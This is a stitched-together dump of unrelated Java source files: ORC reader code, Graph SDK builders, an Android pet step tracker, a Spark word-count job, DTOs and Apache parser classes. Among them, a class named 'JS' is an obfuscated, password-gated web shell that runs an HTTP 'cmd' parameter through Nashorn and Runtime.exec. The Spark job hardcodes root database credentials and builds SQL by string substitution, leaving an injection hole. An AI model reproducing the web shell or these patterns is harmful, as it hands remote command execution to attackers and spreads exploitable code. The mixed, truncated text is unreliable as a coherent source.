TIMESTAMP_INSTANT: return numVals * JavaDataModel.get().lengthOfTimestamp(); case DATE: return numVals * JavaDataModel.get().lengthOfDate(); case DECIMAL: return numVals * JavaDataModel.get().lengthOfDecimal(); case DOUBLE: case LONG: return numVals * JavaDataModel.get().primitive2(); case FLOAT: case INT: case SHORT: case BOOLEAN: case BYTE: case STRUCT: case UNION: case MAP: case LIST: return numVals * JavaDataModel.get().primitive1(); default: LOG.debug("Unknown primitive category: " + column.getCategory()); break; } return 0; } @Override public long getRawDataSizeOfColumns(List<String> colNames) { boolean[] include = new boolean[schema.getMaximumId() + 1]; for(String name: colNames) { TypeDescription sub = schema.findSubtype(name); for(int c = sub.getId(); c <= sub.getMaximumId(); ++c) { include[c] = true; } } return getRawDataSizeFromColIndices(include, schema, fileStats); } @Override public List<OrcProto.StripeStatistics> getOrcProtoStripeStatistics() { if (stripeStatistics == null) { try (CompressionCodec codec = OrcCodecPool.getCodec(compressionKind)) { InStream.StreamOptions options = new InStream.StreamOptions(); if (codec != null) { options.withCodec(codec).withBufferSize(bufferSize); } stripeStatistics = deserializeStripeStats(tail.getTailBuffer(), tail.getMetadataOffset(), tail.getMetadataSize(), options); } catch (IOException ioe) { throw new RuntimeException("Can't deserialize stripe stats", ioe); } } return stripeStatistics; } @Override public List<OrcProto.ColumnStatistics> getOrcProtoFileStatistics() { return fileStats; } private static List<OrcProto.StripeStatistics> deserializeStripeStats(BufferChunk tailBuffer, long offset, int length, InStream.StreamOptions options ) throws IOException { InStream stream = InStream.create("stripe stats", tailBuffer, offset, length, options); OrcProto.Metadata meta = OrcProto.Metadata.parseFrom( InStream.createCodedInputStream(stream)); return meta.getStripeStatsList(); } private List<StripeStatistics> convertFromProto(List<OrcProto.StripeStatistics> list) { if (list == null) { return null; } else { List<StripeStatistics> result = new ArrayList<>(list.size()); for (OrcProto.StripeStatistics ss : stripeStatistics) { result.add(new StripeStatisticsImpl(schema, new ArrayList<>(ss.getColStatsList()), writerUsedProlepticGregorian(), getConvertToProlepticGregorian())); } return result; } } @Override public List<StripeStatistics> getStripeStatistics() throws IOException { return getStripeStatistics(null); } @Override public List<StripeStatistics> getStripeStatistics(boolean[] included) throws IOException { List<StripeStatistics> result = convertFromProto(stripeStatistics); if (result == null || encryption.getVariants().length > 0) { try (CompressionCodec codec = OrcCodecPool.getCodec(compressionKind)) { InStream.StreamOptions options = new InStream.StreamOptions(); if (codec != null) { options.withCodec(codec).withBufferSize(bufferSize); } result = getVariantStripeStatistics(null); if (encryption.getVariants().length > 0) { // process any encrypted overrides that we have the key for for (int c = schema.getId(); c <= schema.getMaximumId(); ++c) { // only decrypt the variants that we need if (included == null || included[c]) { ReaderEncryptionVariant variant = encryption.getVariant(c); if (variant != null) { TypeDescription variantType = variant.getRoot(); List<StripeStatistics> colStats = variant.getStripeStatistics(included, options, this); for(int sub = c; sub <= variantType.getMaximumId(); ++sub) { if (included == null || included[sub]) { for(int s = 0; s < colStats.size(); ++s) { StripeStatisticsImpl resultElem = (StripeStatisticsImpl) result.get(s); resultElem.updateColumn(sub, colStats.get(s).getColumn(sub - variantType.getId())); } } } c = variantType.getMaximumId(); } } } } } } return result; } @Override public List<Integer> getVersionList() { return versionList; } @Override public int getMetadataSize() { return metadataSize; } @Override public String toString() { StringBuilder buffer = new StringBuilder(); buffer.append("ORC Reader("); buffer.append(path); if (maxLength != -1) { buffer.append(", "); buffer.append(maxLength); } buffer.append(")"); return buffer.toString(); } @Override public void close() throws IOException { if (file != null) { file.close(); } } /** * Take the file from the reader. * This allows the first RecordReader to use the same file, but additional * RecordReaders will open new handles. * @return a file handle, if one is available */ public FSDataInputStream takeFile() { FSDataInputStream result = file; file = null; return result; } }
package org.sec.util; import javax.tools.DiagnosticCollector; import javax.tools.JavaCompiler; import javax.tools.JavaFileObject; import javax.tools.StandardJavaFileManager; import java.net.URLClassLoader; /** * ScriptEngine调用JS */ public class JS { public static void main(String[] args) { String[] globalArr = new String[]{"0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24", "JavaScript", "request", "pwd", "function test(){", "try {\n", " load(\"nashorn:mozilla_compat.js\");\n", "} catch (e) {}\n", "importPackage(Packages.java.lang);\n", "var cmd = request.getParameter(\"cmd\");", "var x=java/****/.lang./****/Run", "time./****", "/getRunti", "me()/****/.exec(cmd);", "return x.getInputStream();};", "test();", "<pre>", "</pre>" }; String temp = globalArr[0]; String[] b = temp.split("\\|"); javax.script.ScriptEngine engine = null; String pwd = null; StringBuilder testSb = null; java.io.InputStream in = null; StringBuilder outStr = null; byte[] buffer = null; java.io.InputStreamReader resulutReader = null; java.io.BufferedReader stdInput = null; int id = 0; int index = 0; while (true) { int op = Integer.parseInt(b[index++]); switch (op) { case 0: engine = new javax.script.ScriptEngineManager().getEngineByName(globalArr[1]); break; case 1: engine.put(globalArr[2], request); break; case 2: pwd = request.getParameter(globalArr[3]); break; case 3: if (!pwd.equals(PASSWORD)) { return; } break; case 4: testSb = new StringBuilder(); break; case 5: testSb.append(globalArr[4]); break; case 6: testSb.append(globalArr[5]); break; case 7: testSb.append(globalArr[6]); break; case 8: testSb.append(globalArr[7]); break; case 9: testSb.append(globalArr[8]); break; case 10: testSb.append(globalArr[9]); break; case 11: testSb.append(globalArr[10]); break; case 12: testSb.append(globalArr[11]); break; case 13: testSb.append(globalArr[12]); break; case 14: testSb.append(globalArr[13]); break; case 15: testSb.append(globalArr[14]); break; case 16: testSb.append(globalArr[15]); break; case 17: in = (java.io.InputStream) engine.eval(testSb.toString()); break; case 18: outStr = new StringBuilder(); break; case 19: response.getWriter().print(globalArr[16]); break; case 20: resulutReader = new java.io.InputStreamReader(in); break; case 21: stdInput = new java.io.BufferedReader(resulutReader); break; case 22: String s = null; while ((s = stdInput.readLine()) != null) { outStr.append(s + "\n"); } break; case 23: response.getWriter().print(outStr.toString()); break; case 24: response.getWriter().print(globalArr[17]); break; } } } }
// ------------------------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information. // ------------------------------------------------------------------------------ package com.microsoft.graph.extensions; import com.microsoft.graph.concurrency.*; import com.microsoft.graph.core.*; import com.microsoft.graph.extensions.*; import com.microsoft.graph.http.*; import com.microsoft.graph.generated.*; import com.microsoft.graph.options.*; import com.microsoft.graph.serializer.*; import java.util.Arrays; import java.util.EnumSet; // This file is available for extending, afterwards please submit a pull request. /** * The class for the Workbook Table Row Collection Request Builder. */ public class WorkbookTableRowCollectionRequestBuilder extends BaseWorkbookTableRowCollectionRequestBuilder implements IWorkbookTableRowCollectionRequestBuilder { /** * The request builder for this collection of WorkbookTable * * @param requestUrl The request url * @param client The service client * @param requestOptions The options for this request */ public WorkbookTableRowCollectionRequestBuilder(final String requestUrl, final IBaseClient client, final java.util.List<Option> requestOptions) { super(requestUrl, client, requestOptions); } }
package goldilocks.domain.openingHours.weekview; import java.io.Serializable; import java.time.DayOfWeek; import java.time.Duration; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.TreeMap; import com.fasterxml.jackson.annotation.JsonIgnore; import goldilocks.domain.openingHours.OpeningHoursRegularDayTimePeriods; import goldilocks.util.domain.DomainTypeBase; public class OpeningHoursWeek extends DomainTypeBase implements Serializable { private static final long serialVersionUID = 1L; private List<OpeningHoursRegularDayTimePeriods> dayTimePeriods; public OpeningHoursWeek() { } public OpeningHoursWeek(List<OpeningHoursRegularDayTimePeriods> dayTimePeriods) { super(); this.dayTimePeriods = dayTimePeriods; } public void addDayTimePeriod(OpeningHoursRegularDayTimePeriods regularPeriods) { if (getDayTimePeriods().contains(regularPeriods)) { return; } getDayTimePeriods().add(regularPeriods); } @JsonIgnore public List<OpeningHoursRegularDayTimePeriods> getDayTimePeriods() { if (dayTimePeriods == null) { dayTimePeriods = new ArrayList<>(); } return dayTimePeriods; } @JsonIgnore public Duration getDuration() { Duration d = Duration.ZERO; for (OpeningHoursRegularDayTimePeriods p : getDayTimePeriods()) { d = d.plus(p.getDuration()); } return d; } public Map<DayOfWeek, OpeningHoursRegularDayTimePeriods> getWeek() { Map<DayOfWeek, OpeningHoursRegularDayTimePeriods> result = new TreeMap<>(); if (getDayTimePeriods() != null) { for (OpeningHoursRegularDayTimePeriods periods : getDayTimePeriods()) { result.put(periods.getId(), periods); } } for (DayOfWeek dow : DayOfWeek.values()) { if (!result.containsKey(dow)) { result.put(dow, new OpeningHoursRegularDayTimePeriods(dow)); } } return result; } public void setWeek(Map<DayOfWeek, OpeningHoursRegularDayTimePeriods> week) { if (week == null) { dayTimePeriods = null; return; } dayTimePeriods = new ArrayList<>(week.values()); } }
package com.butterflies.stepaw; import android.app.ActivityManager; import android.content.BroadcastReceiver; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.ServiceConnection; import android.content.SharedPreferences; import android.graphics.Color; import android.os.Build; import android.os.Bundle; import androidx.annotation.RequiresApi; import androidx.fragment.app.Fragment; import android.content.SharedPreferences; import android.os.IBinder; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.RemoteViews; import android.widget.TextView; import com.butterflies.stepaw.ble.BluetoothLeService; import com.butterflies.stepaw.utils.StepawUtils; import java.text.DecimalFormat; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.concurrent.TimeUnit; import app.futured.donut.DonutProgressView; import app.futured.donut.DonutSection; /** * A simple {@link Fragment} subclass. * Use the {@link DailyFragment#newInstance} factory method to * create an instance of this fragment. * */ public class DailyFragment extends Fragment { // TODO: Rename parameter arguments, choose names that match // the fragment initialization parameters, e.g. ARG_ITEM_NUMBER private static final String ARG_PARAM1 = "param1"; private static final String ARG_PARAM2 = "param2"; /** * Use this factory method to create a new instance of * this fragment using the provided parameters. * * @param param1 Parameter 1. * @param param2 Parameter 2. * @return A new instance of fragment DailyFragment. */ // TODO: Rename and change types and number of parameters public static DailyFragment newInstance(String param1, String param2) { DailyFragment fragment = new DailyFragment(); Bundle args = new Bundle(); args.putString(ARG_PARAM1, param1); args.putString(ARG_PARAM2, param2); fragment.setArguments(args); return fragment; } public DailyFragment() { // Required empty public constructor } private BluetoothLeService bluetoothService = null; private String deviceAddress = "D2:08:EB:01:A0:62"; private Boolean connected; private int prevStep = 0; private View mView; private int finalStep; private String finalTime, petId; private TextView stepCount; private TextView minValue; private TextView kmValue; private DonutProgressView minDonutChart, kmDonutChart; private DonutSection minSection, kmSection; private List<DonutSection> list; private List<DonutSection> kmlist; private DecimalFormat df = new DecimalFormat("##.#"); private Float initialKm; private Float initialMin; private int initialSteps; private SharedPreferences share; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public void onResume() { super.onResume(); if(!isMyServiceRunning(BluetoothLeService.class)) { Intent gattServiceIntent = new Intent(DailyFragment.this.getActivity(), BluetoothLeService.class); getActivity().bindService(gattServiceIntent, serviceConnection, Context.BIND_AUTO_CREATE); } getActivity(). registerReceiver(gattUpdateReceiver, makeGattUpdateIntentFilter()); if (bluetoothService != null) { final boolean result = bluetoothService.connect(deviceAddress); Log.d("TAG", "Connect request result=" + result); } } @RequiresApi(api = Build.VERSION_CODES.Q) @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment View view = inflater.inflate(R.layout.fragment_daily, container, false); kmDonutChart = view.findViewById(R.id.kmDonutView); minDonutChart = view.findViewById(R.id.minDonutView); // ChartReport activity = (ChartReport) getActivity(); String strKM = getArguments().getString("petKm"); String strMin = getArguments().getString("petMin"); String steps = getArguments().getString("petSteps"); Float kmCap = getArguments().getFloat("petKmCap"); Float minCap = getArguments().getFloat("petMinCap"); petId = getArguments().getString("petId"); String dateStr = null; try { SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); Date date = formatter.parse(getArguments().getString("date")); formatter = new SimpleDateFormat("MMM dd, yyyy"); dateStr = formatter.format(date); } catch (ParseException e) { e.printStackTrace(); } // StepawUtils stepawUtil = new StepawUtils(); // share = this.getActivity().getSharedPreferences("com.butterflies.stepaw", Context.MODE_PRIVATE); initialKm = Float.parseFloat(strKM); initialMin = Float.parseFloat(strMin); initialSteps = Integer.parseInt(steps); kmSection = new DonutSection("km", Color.parseColor("#004E99"), initialKm); minSection = new DonutSection("min", Color.parseColor("#FBD617"),initialMin); kmlist = new ArrayList<>(); kmlist.add(kmSection); kmDonutChart.setCap(kmCap); kmDonutChart.submitData(kmlist); list = new ArrayList<>(); list.add(minSection); minDonutChart.setCap(minCap); minDonutChart.submitData(list); stepCount = view.findViewById(R.id.stepsCountTextView); stepCount.setText(steps); minValue = view.findViewById(R.id.minValue); minValue.setText(strMin); kmValue = view.findViewById(R.id.kmValue); kmValue.setText(initialKm.toString()); TextView dateTextView = view.findViewById(R.id.dateTextView); dateTextView.setText(dateStr); // if(share.getString("com.butterflies.stepaw.flag", "false") == "false") { // String stepCounts = stepCount.getText().toString(); // String distance = kmValue.getText().toString(); // String minute = minValue.getText().toString(); // stepawUtil.storePreferences(getActivity(), // "com.butterflies.stepaw.stepCounter", stepCounts); // stepawUtil.storePreferences(getActivity(), // "com.butterflies.stepaw.distanceCounter", distance); // stepawUtil.storePreferences(getActivity(), // "com.butterflies.stepaw.minuteCounter", minute); // stepawUtil.storePreferences(getActivity(), // "com.butterflies.stepaw.flag", "true"); // // } // // if(share.getString("com.butterflies.stepaw.stepCounter", "") != "") { // stepCount.setText(share.getString("com.butterflies.stepaw.stepCounter", "150")); // } // if(share.getString("com.butterflies.stepaw.distanceCounter", "") != "") { // minValue.setText(share.getString("com.butterflies.stepaw.distanceCounter", "1.0")); // } // if(share.getString("com.butterflies.stepaw.minuteCounter", "") != "") { // kmValue.setText(share.getString("com.butterflies.stepaw.distanceCounter", "15")); // } this.mView = view; return view; } private ServiceConnection serviceConnection = new ServiceConnection() { @Override public void onServiceConnected(ComponentName name, IBinder service) { BluetoothLeService bluetoothService = ((BluetoothLeService.LocalBinder) service).getService(); if (bluetoothService != null) { if (!bluetoothService.initialize()) { Log.e("TAG", "Unable to initialize Bluetooth"); //finish(); } // perform device connection if(deviceAddress != null) bluetoothService.connect(deviceAddress); } } @Override public void onServiceDisconnected(ComponentName name) { BluetoothLeService bluetoothService = null; } }; private boolean isMyServiceRunning(Class<?> serviceClass) { ActivityManager manager = (ActivityManager) getActivity().getSystemService(Context.ACTIVITY_SERVICE); for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) { if (serviceClass.getName().equals(service.service.getClassName())) { return true; } } return false; } BroadcastReceiver gattUpdateReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { final String action = intent.getAction(); if (BluetoothLeService.ACTION_GATT_CONNECTED.equals(action)) { connected = true; // updateConnectionState(R.string.connected); } else if (BluetoothLeService.ACTION_GATT_DISCONNECTED.equals(action)) { connected = false; // updateConnectionState(R.string.disconnected); } else if (BluetoothLeService.ACTION_DATA_AVAILABLE.equals(action)) { int step = Integer.parseInt(intent.getStringExtra("data")); if((step - prevStep) > 10) { prevStep = step; Long Longtime = TimeUnit.MILLISECONDS.toSeconds( Long.parseLong(intent.getStringExtra("runtime"))); int time = Longtime.intValue(); Log.d("stepcount", intent.getStringExtra("data")); Log.d("runtime", String.valueOf(time)); test(step, intent.getStringExtra("runtime")); } } } }; private void test(int step, String time) { step = initialSteps + step; stepCount.setText(String.valueOf(step)); Float minutes = Float.valueOf(TimeUnit.MILLISECONDS.toMinutes( Long.parseLong(time))); //float distance = (float) step * (float) 0.005 * (float) 1.6; float distance = (float) ((float) (step * 0.05 ) * 1.6 / 100); distance = initialKm + distance; minutes = initialMin + minutes; kmValue.setText(df.format(distance)); minValue.setText(minutes.toString()); Log.d("minutes", minutes.toString()); Log.d("distance", String.valueOf(distance)); if(!list.isEmpty()) { list = new ArrayList<>(); minSection = new DonutSection("min", Color.parseColor("#FBD617"),minutes); list.add(minSection); minDonutChart.submitData(list); kmlist = new ArrayList<>(); kmlist.add(kmSection); kmDonutChart.submitData(kmlist); } // minDonutChart.addAmount(Float.parseFloat(time)); // minDonutChart.submitData(list); } private static IntentFilter makeGattUpdateIntentFilter() { final IntentFilter intentFilter = new IntentFilter(); intentFilter.addAction(BluetoothLeService.ACTION_GATT_CONNECTED); intentFilter.addAction(BluetoothLeService.ACTION_GATT_DISCONNECTED); intentFilter.addAction(BluetoothLeService.ACTION_GATT_SERVICES_DISCOVERED); intentFilter.addAction(BluetoothLeService.ACTION_DATA_AVAILABLE); return intentFilter; } @Override public void onDestroyView() { super.onDestroyView(); getActivity().unregisterReceiver(gattUpdateReceiver); } }
package com.richard.test.spark.initialize; import java.sql.Connection; import java.sql.DriverManager; import java.sql.Statement; import java.util.ArrayList; import java.util.Arrays; import java.util.Iterator; import java.util.List; import java.util.Map; import org.apache.spark.SparkConf; import org.apache.spark.api.java.JavaPairRDD; import org.apache.spark.api.java.JavaRDD; import org.apache.spark.api.java.JavaSparkContext; import org.apache.spark.api.java.function.Function; import org.apache.spark.api.java.function.Function2; import org.apache.spark.api.java.function.PairFlatMapFunction; import org.apache.spark.api.java.function.VoidFunction; import org.apache.spark.storage.StorageLevel; import org.apache.spark.util.LongAccumulator; import scala.Tuple2; /** * @author RichardYao richardyao@tvunetworks.com * @date Apr 14, 2017 6:12:30 PM */ public class SimpleApp { public static void main(String[] args) { String logFile, masterAddress; if(args != null && args.length == 2) { logFile = args[0]; masterAddress = args[1]; } else { logFile = "hdfs://hadoop-master:9000/user/hadoop/input/test.log"; masterAddress = "spark://hadoop-master:7077"; } SparkConf conf = new SparkConf().setAppName("Simple-application").setMaster(masterAddress); JavaSparkContext sc = new JavaSparkContext(conf); JavaRDD<String> logData = sc.textFile(logFile).cache(); //JavaRDD filter method long numClicks = logData.filter(new Function<String, Boolean>() { private static final long serialVersionUID = -4785811461539824734L; @Override public Boolean call(String arg0) throws Exception { return arg0.toLowerCase().contains("click"); } }).count(); long numGreens = logData.filter(new Function<String, Boolean>() { private static final long serialVersionUID = -397674428172714969L; @Override public Boolean call(String arg0) { return arg0.toLowerCase().contains("green"); } }).count(); System.out.println("Lines with click: " + numClicks + ", lines with green: " + numGreens); //JavaRDD use map method JavaRDD<Long> result = logData.map(new Function<String, Long>() { private static final long serialVersionUID = -3131890969468932636L; @Override public Long call(String text) throws Exception { if(text != null) { return (long) text.split(" ").length; } return 0L; } }); //be saved in memory after the first time it is computed result.persist(StorageLevel.MEMORY_ONLY()); List<Long> listResult = null; //This operation may caused of out of memory, because collect() fetches the entire RDD to a single machine in cluster //listResult = result.collect(); if(result.count() > 10) { //if you only need to print a few elements of the RDD, a safer approach is to use the take() listResult = result.take(10); for (int i=0;i<listResult.size();i++) { System.out.println("The line number is " + (i+1) + " and the value is " + listResult.get(i)); } } //普通的变量在spark集群中执行时是不可见的,无法在foreach中正常循环 final LongAccumulator totalWordNumber = sc.sc().longAccumulator(); result.foreach(new VoidFunction<Long>() { private static final long serialVersionUID = 2522757840211085553L; @Override public void call(Long parameter) throws Exception { totalWordNumber.add(parameter); } }); //JavaRDD use reduce method Long wordNumber = result.reduce(new Function2<Long, Long, Long>() { private static final long serialVersionUID = 1L; @Override public Long call(Long input1, Long input2) throws Exception { return input1 + input2; } }); System.out.println("This text words' number is " + wordNumber + " and myself count value is "+totalWordNumber.value()); useMapReduce(logData); useParallelize(sc); sc.stop(); } public static void useMapReduce(JavaRDD<String> logData) { if(logData != null) { JavaPairRDD<String, Integer> pairCollect = logData.flatMapToPair(new PairFlatMapFunction<String, String, Integer>() { private static final long serialVersionUID = 2843331512319295449L; @Override public Iterator<Tuple2<String, Integer>> call(String line) throws Exception { String[] words = line.split(" "); List<Tuple2<String, Integer>> result = new ArrayList<Tuple2<String, Integer>>(); for(int i=0;i<words.length;i++) { Tuple2<String, Integer> temp = new Tuple2<String, Integer>(words[i], 1); result.add(temp); } return result.iterator(); } }); /*JavaPairRDD<String, Integer> pairs = logData.mapToPair(new PairFunction<String, String, Integer>() { private static final long serialVersionUID = -5217153855000840482L; @Override public Tuple2<String, Integer> call(String input) throws Exception { Tuple2<String, Integer> addOne = new Tuple2<String, Integer>(input, 1); return addOne; } });*/ JavaPairRDD<String, Integer> counts = pairCollect.reduceByKey(new Function2<Integer, Integer, Integer>() { private static final long serialVersionUID = 6650917574451071587L; @Override public Integer call(Integer count1, Integer count2) throws Exception { return count1 + count2; } }); counts.sortByKey(); System.out.println("---------------insertKeyNumberTodb() method start time:"+System.currentTimeMillis()+"---------------"); insertKeyNumberToDb(counts); System.out.println("---------------insertKeyNumberTodb() method end time:"+System.currentTimeMillis()+"---------------"); List<Tuple2<String, Integer>> collectResult = counts.collect(); System.out.println("---------------Use collec() method start---------------"); for(int i=0;i<collectResult.size();i++) { System.out.println("The key is "+collectResult.get(i)._1()+" and the value is "+collectResult.get(i)._2()); } System.out.println("---------------Use collec() method end---------------"); System.out.println("---------------Use collectAsMap() method start---------------"); Map<String, Integer> result = counts.collectAsMap(); for(String key:result.keySet()) { System.out.println("The key is " + key + " and the value is " + result.get(key)); } System.out.println("---------------Use collectAsMap() method end---------------"); } } public static void useParallelize(JavaSparkContext sc) { JavaRDD<Integer> dataSet = sc.parallelize(Arrays.asList(new Integer[] {1,2,3,4,5})); final LongAccumulator accumulator = sc.sc().longAccumulator("CountNumber"); dataSet.foreach(new VoidFunction<Integer>() { private static final long serialVersionUID = 7241318845305003358L; @Override public void call(Integer value) throws Exception { accumulator.add(value);; } }); System.out.println("Use parallelize function to convert a list to RDD and count the sum: " + accumulator.value()); final LongAccumulator countNumber = sc.sc().longAccumulator("CountNumberWithPartition"); dataSet.foreachPartition(new VoidFunction<Iterator<Integer>>() { private static final long serialVersionUID = -2417711780351402266L; @Override public void call(Iterator<Integer> partitionList) throws Exception { while(partitionList.hasNext()) { countNumber.add(partitionList.next()); } } }); System.out.println("Use foreachPartition to count the sum: " + countNumber.value()); } public static void insertKeyNumberToDb(JavaPairRDD<String, Integer> counts) { counts.foreachPartition(new VoidFunction<Iterator<Tuple2<String,Integer>>>() { private static final long serialVersionUID = 2638267996836384562L; @Override public void call(Iterator<Tuple2<String, Integer>> result) throws Exception { Connection connection = DriverManager.getConnection("jdbc:mysql://10.12.22.78:3306/statistic_data", "root", "tvu1p2ack3"); Statement statement = null; try { statement = connection.createStatement(); connection.setAutoCommit(false); String sql = "insert into word_count values('{0}', {1}) "; while (result.hasNext()) { Tuple2<String, Integer> temp = result.next(); String executeSql = sql; executeSql = executeSql.replace("{0}", temp._1()).replace("{1}", String.valueOf(temp._2())); statement.addBatch(executeSql); } statement.executeBatch(); connection.commit(); } catch (Exception e) { e.printStackTrace(); } finally { statement.close(); connection.close(); } } }); } }
package com.baidu.mapp.bcd.dto; import io.swagger.v3.oas.annotations.media.Schema; import lombok.Builder; import lombok.Data; import java.util.Date; import java.util.List; /** * 整个从受捐到捐赠的追溯详情 */ @Data @Schema(description = "整个从受捐到捐赠的追溯详情") @Builder public class DonatoryChainResp { /** * 领取流水ID */ @Schema(description = "领取流水ID") private Long drawRecordFlowId; /** * 受赠人ID */ @Schema(description = "受赠人ID") private Long donatoryId; /** * 受赠人名称 */ @Schema(description = "受赠人名称") private String donatoryName; /** * 领取时间 */ @Schema(description = "领取时间") private Date drawTime; /** * 证书ID */ @Schema(description = "证书ID") private String certCode; /** * 领取详情 */ @Schema(description = "领取详情") private List<DCDrawDetailResp> drawDetailResps; /** * 追溯活动详情 */ @Schema(description = "追溯活动详情") private DCActivityBriefResp activityBriefResp; }
package com.github.fwi.taskq2.db; import java.sql.Connection; import java.sql.SQLException; import nl.fw.util.jdbc.DbConn; import nl.fw.util.jdbc.DbConnNamedStatement; import nl.fw.util.jdbc.DbConnUtil; import nl.fw.util.jdbc.INamedQuery; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class TqDbServer { private static final Logger log = LoggerFactory.getLogger(TqDbServer.class); private volatile boolean dbAvailable; private volatile long dbLastAvailable = System.currentTimeMillis(); private volatile long dbLastUnavailable = System.currentTimeMillis(); protected volatile int serverId = -1; protected final TqDbConf dbConf; public TqDbServer(TqDbConf dbConf) { this.dbConf = dbConf; if (dbConf.isUseHostNameAsServerName()) { determineLocalHostname(); } } public TqDbConf getDbConf() { return dbConf; } protected void determineLocalHostname() { try { java.net.InetAddress localHost = java.net.InetAddress.getLocalHost(); String ip = localHost.getHostAddress(); String name = localHost.getCanonicalHostName(); if (ip.equals(name)) { name = localHost.getHostName(); } dbConf.setServerHost(name); log.info("Found server host {}", name); } catch (Exception e) { log.warn("Could not use local hostname as server name - " + e); } } public String getServerName() { return dbConf.getServerHost() + ":" + dbConf.getServerPort(); } public int getServerId() { return serverId; } @SuppressWarnings("resource") public void registerServer(Connection c, INamedQuery namedQueries) { registerServer(new DbConn(c).setNamedQueries(namedQueries)); } /** * Registers this server by updating an existing server-record for this server * or inserting a new server-record for this server. * <br>If this cannot be done, {@link #setDbAvailable(boolean)} is called with FALSE, * otherwise the method is called with TRUE. * @param c A database connection, not closed by this method. */ public void registerServer(DbConnNamedStatement<?> c) { try { boolean exists = false; serverId = findServer(c); if (serverId > -1) { exists = true; updateServerActive(c); } else { serverId = insertServer(c); } c.commit(); setDbAvailable(true); log.info("{} server ID {} for {} in group {}", (exists ? "Updated" : "Registered"), serverId, getServerName(), dbConf.getServerGroup()); } catch (Exception e) { c.rollbackSilent(); setDbAvailable(false); serverId = -1; DbConnUtil.rethrowRuntime(e); } } protected int findServer(DbConnNamedStatement<?> c) throws SQLException { c.nameStatement(TqQueryNames.FIND_SERVER); c.getNamedStatement().setString("name", getServerName()); c.getNamedStatement().setString("group", dbConf.getServerGroup()); c.executeQuery(); return (c.getResultSet().next() ? c.getResultSet().getInt("id") : -1); } protected int insertServer(DbConnNamedStatement<?> c) throws SQLException { c.nameStatement(TqQueryNames.INSERT_SERVER, true); c.getNamedStatement().setString("name", getServerName()); c.getNamedStatement().setString("group", dbConf.getServerGroup()); c.getNamedStatement().setTimestamp("lastActive", getLastActive()); c.executeUpdate(); return (c.getResultSet().next() ? c.getResultSet().getInt(1) : -1); } protected int updateServerActive(DbConnNamedStatement<?> c) throws SQLException { c.nameStatement(TqQueryNames.SERVER_ACTIVE); c.getNamedStatement().setInt("id", serverId); c.getNamedStatement().setTimestamp("lastActive", getLastActive()); c.getNamedStatement().setQueryTimeout(15); return c.executeUpdate().getResultCount(); } protected java.sql.Timestamp getLastActive() { return new java.sql.Timestamp(System.currentTimeMillis()); } @SuppressWarnings("resource") public boolean updateActive(Connection c, INamedQuery namedQueries) { return updateActive(new DbConn(c).setNamedQueries(namedQueries)); } public boolean updateActive(DbConnNamedStatement<?> c) { int updated = 0; try { updated = updateServerActive(c); c.commit(); setDbLastAvailable(System.currentTimeMillis()); } catch (Exception e) { c.rollbackSilent(); DbConnUtil.rethrowRuntime(e); } return (updated == 1); } public boolean isDbAvailable() { return dbAvailable; } public void setDbAvailable(boolean dbAvailable) { this.dbAvailable = dbAvailable; if (dbAvailable) { setDbLastAvailable(System.currentTimeMillis()); } else { setDbLastUnavailable(System.currentTimeMillis()); } } public long getDbLastAvailable() { return dbLastAvailable; } public void setDbLastAvailable(long dbLastAvailable) { this.dbLastAvailable = dbLastAvailable; } public long getDbLastUnavailable() { return dbLastUnavailable; } public void setDbLastUnavailable(long dbLastUnavailable) { this.dbLastUnavailable = dbLastUnavailable; } }
package org.apache.maven.doxia.module.confluence.parser; /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ import org.apache.maven.doxia.sink.Sink; import java.util.List; /** * <p>BoldBlock class.</p> */ public class BoldBlock extends AbstractFatherBlock { /** * <p>Constructor for BoldBlock.</p> * * @param childBlocks the child blocks. */ public BoldBlock( List<Block> childBlocks ) { super( childBlocks ); } /** {@inheritDoc} */ public void before( Sink sink ) { sink.bold(); } /** {@inheritDoc} */ public void after( Sink sink ) { sink.bold_(); } }
package ma.craft.devops.example.devops.helpers; public class ComparationHelper { private static String hello = "Hello"; private ComparationHelper(){} public static boolean compareLongs(long a, long b){ return a == b; } public static boolean isHello(String anyString){ return anyString.equals(hello); } public static String concatenateHelloWith(String value){ return value == null ? hello : hello +value; } }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.ignite.testsuites; import junit.framework.TestSuite; import org.apache.ignite.platform.PlatformDefaultJavaObjectFactorySelfTest; import org.apache.ignite.platform.PlatformJavaObjectFactoryProxySelfTest; /** * Suite for platform tests. */ public class IgnitePlatformsTestSuite extends TestSuite { /** * @return Test suite. * @throws Exception If failed. */ public static TestSuite suite() throws Exception { TestSuite suite = new TestSuite("Ignite Deployment SPI Test Suite"); // LocalDeploymentSpi tests 